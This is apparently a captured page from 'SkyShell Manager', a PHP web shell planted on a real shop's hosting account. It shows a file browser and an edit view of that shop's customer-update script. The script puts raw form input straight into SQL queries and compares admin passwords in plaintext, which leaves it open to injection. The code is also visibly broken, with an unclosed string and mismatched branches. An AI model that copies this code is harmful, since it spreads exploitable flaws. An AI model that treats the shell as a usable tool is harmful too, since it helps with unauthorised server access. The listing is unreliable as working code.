ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Current Path: home/oshofree/public_html/chbluxuries.com/chb_data/

Name	Size	Permissions	Actions
📁 ..	-	0755	🗑️
📄 config.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 error_log	5390.57 KB	0644	🗑️ ⬇️ ✏️

Editing: updatecustomer.php

<?php
if(isset($_POST['savecustomer'])){
    $item = $_POST['orderid'];
    $customertype = $_POST['customertype'];
    $customername = $_POST['customername'];
    $customerphone = $_POST['customerphone'];
    $customermail = $_POST['customermail'];
    $customer_id= $_POST['customer'];
    $staff_id= $_POST['staff'];
    $accesscode= $_POST['access'];
    if($customertype=="Nil"){$customer_id=436; }
    if($customerphone==""){ 
    $customerphone = generateRandomPhoneNumber();}

$internationalNumber = convertToInternationalFormat($customerphone);

//confirm admin password
$check = "SELECT * from admin where password='$accesscode' AND username='$staff_id'";
$query = mysqli_query($con,$check);
$row = mysqli_fetch_array($query);
$adminstatus = $row['status'];
if (mysqli_affected_rows($con) == 0)
{ echo '<div class="alert alert-danger alert-dismissible fade show messageAlert" role="alert" id="messageAlert">
  Invalid access code!
 <button type="button" class="close" data-dismiss="alert" aria-label="Close">
 <span aria-hidden="true">&times;</span> </button></div>';
}

else{
$insert = mysqli_query($con,"UPDATE orders SET cashier='$staff_id' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); 
$whereClause = "phone='$customerphone' OR phone='$internationalNumber'";
if (!empty($customermail)) {
    $whereClause .= " OR email='$customermail'";
}

//check if customer is new 
if($customertype=="New"){

//status
 $status='user';
 $status_log='inactive';
 $verify='no';
 $type='store';
 $date=date('Y-m-d H:i:s');
 $dates=date('Y-m-d');
 $user_id= substr(mt_rand(), 0, 8);
 $verified="";

$checkEmail = mysqli_query($con, "SELECT * FROM users WHERE $whereClause");
    if(mysqli_num_rows($checkEmail) >= 1 ) {
    $sql = "SELECT * FROM users WHERE $whereClause";
    $sql2 = mysqli_query($con, $sql);
    while ($row = mysqli_fetch_array($sql2)) {
      $customername = $row['name'];
      $customerphone = $row['phone'];
      $customermail = $row['email'];
      $verified = $row['verify'];
      $user_id = $row['id']; }

if($verified=="no"){
 //Update
$insert = mysqli_query($con,"UPDATE orders SET staff='$customername' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); 
$insert = mysqli_query($con,"UPDATE orders SET number='$customerphone' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); 
$insert = mysqli_query($con,"UPDATE orders SET email='$customermail' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con));
$insert = mysqli_query($con,"UPDATE orders SET user_id='$user_id' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con));

echo '
    <div class="alert alert-success alert-dismissible fade show" role="alert" id="messageAlert">
       Customer Details Saved Successfully
        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
            <span aria-hidden="true">&times;</span>
        </button>
    </div>';  
    
       // echo payymdal
        echo "<script>
             $(window).load(function(){
                 $('#modalDialogScrollable').modal({backdrop: 'static', keyboard: false}) 
             });
        </script>";
         
        
    }
    else{
    $sql = "SELECT * FROM verification WHERE orderid='$item'";
    $sql2 = mysqli_query($con, $sql);
    $count = mysqli_num_rows($sql2);
    if ($count <= 0) {
       
       $verify="VER".substr(md5(mt_rand()), 0, 8);
      
    
      //submit verification code
      $submit = mysqli_query($con,"insert into verification(`orderid`,`code`,`email`,`user`,`status`)
      VALUES ('$item','$verify','$customermail','$user_id','no')") or die ('Could not connect: ' .mysqli_error($con)); 
      
      //send mail
      ///////////////////////////////// Mail Function started//////////////////////////////////////////////////////////////////
$comments = $email_to = $email_subject = $email_from = $email_message = "";		
$email_from="admin@chbluxuries.com";					 
$email_to = $customermail;
$email_subject = "Transaction Verification - CHB NAIL SHOP";
$email_message ="

<div style='background-color:#000000; color:#fff !important; height:800px; padding:50px; width:500px;'>
 <p><img src='https://chbluxuries.com/img/favicon.jpg' width='100px' height='100px' /></p><br><br>
 <p style='color:#fff !important;'>Hello Dear $customername, Here is your transaction verification code <span style='color:#FF339A;'>$verify</span> for the OrderID($item)</p>
 <p style='color:#fff !important;'>If you did not request for this,please contact support in the next 24 hours with the orderID No.
 </p>

<br><br>
  <p style='text-align:center; color:#fff;'>
  Visit our website:
  <a href='https://chbluxuries.com/' style='color:#FF339A; text-decoration:underline;'>
    CHB NAIL SHOP 
  </a>
  </p>
 </div>

// create email headers
         $header =  'From: "CHBLUXURY NAIL SHOP" <admin@chbluxuries.com>'. "\r\n"; 
         $header .= "Cc:admin@chbluxuries.com \r\n";
         $header .=  'Reply-To: admin@chbluxuries.com' . "\r\n";
         $header .= "MIME-Version: 1.0\r\n";
         $header .= "Content-type: text/html\r\n";
 
if(!@mail($email_to, $email_subject, $email_message, $header)){
echo '<center><font color="red">mail cannot be submitted now due to server problems, Please try again.</font></center>';}}
else{
    
}
////////////////////////////////////////////End mail Function//////////////////////////////////////////////////////////////
      
         
          //echo verification modal
         echo "<script>
         $(window).load(function(){
         $('#VerifyModal').modal({backdrop: 'static', keyboard: false}) 
         });
    </script>";
    
  
}}

else{
$submit = mysqli_query($con,"INSERT INTO `users` (`s`, `id`, `name`,`altname`,`email`, `phone`, `birthday`, `address`, `delivery_address`, `notes`, `password`, `office_address`, `hometown`, `local_government`, `gender`, `religion`, `church_name`, `leader_name`, `account_details`, `BVN`, `kin_name`, `kin_phone`, `gur1_name`, `gur1_address`, `gur1_company`, `gur1_position`, `gur1_relation`, `gur2_name`, `gur2_address`, `gur2_company`, `gur2_position`, `gur2_relation`, `picture`, `gur1_email`, `gur2_email`, `reg_date`, `lastseen`, `type`, `verify`, `email_status`, `status_log`, `status`, `wallet`,`referal`,`discount`,`loyalty`,`installment`) 
VALUES (NULL, '$user_id', '$customername','','$customermail','$internationalNumber','','', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '$date', '$date', '$type', '$verify', '1', '$status_log', '$status','0','','0','0','0')"
) or die ('Could not connect: ' .mysqli_error($con));

//Update
$insert = mysqli_query($con,"UPDATE orders SET staff='$customername' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); 
$insert = mysqli_query($con,"UPDATE orders SET number='$customerphone' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); 
$insert = mysqli_query($con,"UPDATE orders SET email='$customermail' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); 
$insert = mysqli_query($con,"UPDATE orders SET user_id='$user_id' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con));

else{
    $sql = "SELECT * FROM users WHERE s='$customer_id'";
    $sql2 = mysqli_query($con, $sql);
    while ($row = mysqli_fetch_array($sql2)) {
    $customername = $row['name'];
    $customerphone = $row['phone'];
    $customermail = $row['email'];
    $verified = $row['verify'];
    $user_id = $row['id'];
    
    if($verified=="no"){
    //Update
$insert = mysqli_query($con,"UPDATE orders SET staff='$customername' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); 
$insert = mysqli_query($con,"UPDATE orders SET number='$customerphone' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); 
$insert = mysqli_query($con,"UPDATE orders SET email='$customermail' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con));
$insert = mysqli_query($con,"UPDATE orders SET user_id='$user_id' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con));

echo '
    <div class="alert alert-success alert-dismissible fade show" role="alert" id="messageAlert">
       Customer Details Saved Successfully
        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
            <span aria-hidden="true">&times;</span>
        </button>
    </div>';
    
    // echo payymdal
        echo "<script>
             $(window).load(function(){
                 $('#modalDialogScrollable').modal({backdrop: 'static', keyboard: false}) 
             });
        </script>";
         
        
    }
    else{
    $sql = "SELECT * FROM verification WHERE orderid='$item'";
    $sql2 = mysqli_query($con, $sql);
    $count = mysqli_num_rows($sql2);
    if ($count <= 0) {
       
       $verify="VER".substr(md5(mt_rand()), 0, 8);
      
    
      //submit verification code
      $submit = mysqli_query($con,"insert into verification(`orderid`,`code`,`email`,`user`,`status`)
      VALUES ('$item','$verify','$customermail','$user_id','no')") or die ('Could not connect: ' .mysqli_error($con)); 
      
      //send mail
      ///////////////////////////////// Mail Function started//////////////////////////////////////////////////////////////////
$comments = $email_to = $email_subject = $email_from = $email_message = "";		
$email_from="admin@chbluxuries.com";					 
$email_to = $customermail;
$email_subject = "Transaction Verification - CHB NAIL SHOP";
$email_message ="

<div style='background-color:#000000; color:#fff !important; height:800px; padding:50px; width:500px;'>
 <p><img src='https://chbluxuries.com/img/favicon.jpg' width='100px' height='100px' /></p><br><br>
 <p style='color:#fff !important;'>Hello Dear $customername, Here is your transaction verification code <span style='color:#FF339A;'>$verify</span> for the OrderID($item)</p>
<p style='color:#fff !important;'>If you did not request for this,please contact support in the next 24 hours with the orderID No.
</p>

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Editing: updatecustomer.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33